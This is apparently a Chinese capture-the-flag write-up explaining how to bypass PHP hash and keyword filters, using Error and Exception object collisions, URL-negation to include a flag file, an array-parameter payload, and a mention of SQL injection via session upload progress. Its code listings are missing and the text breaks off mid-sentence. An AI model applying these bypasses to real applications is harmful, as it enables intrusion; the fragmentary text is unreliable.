md5()和sha1()可以对一个类进行hash,并且会触发这个类的__toString方法;且当eval()函数传入一个类对象时,也会触发这个类里的__toString方法。所以我们可以使用含有__toString方法的PHP内置类来绕过,用的两个比较多的内置类就是Exception和Error,他们之中有一个__toString方法,当类被当做字符串处理时,就会调用这个函数 这里以Error类为例,我们来看看当触发他的__toString方法时会发生什么: PHP PHPError:payloadin/usercode/file.php:2Stacktrace:#0{main}发现会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(2),而传入Error("payload",1)中的错误代码“1”则没有输出出来。 在来看看下一个例子: PHP PHPError:payloadin/usercode/file.php:2Stacktrace:#0{main}Error:payloadin/usercode/file.php:2Stacktrace:#0{main}可见,$a和$b这两个对象本身是不同的,但是__toString方法返回的结果是相同的。注意,这里之所以需要在同一行是因为__toString返回的数据包含当前行号。 Exception类与Error的使用和结果完全一样,只不过Exception类适用于PHP5和7,而Error只适用于PHP7 由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include"/flag"将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可。 没啥好说的,可以利用数组绕过 payload:POST传参 roam1[]=1&roam2[]=2 知识点:SQL注入(PHP_SESSION_UPLOAD_PROGRESS) source.zip获得源码,index.php有全局转义,转义了所有传过去的参数: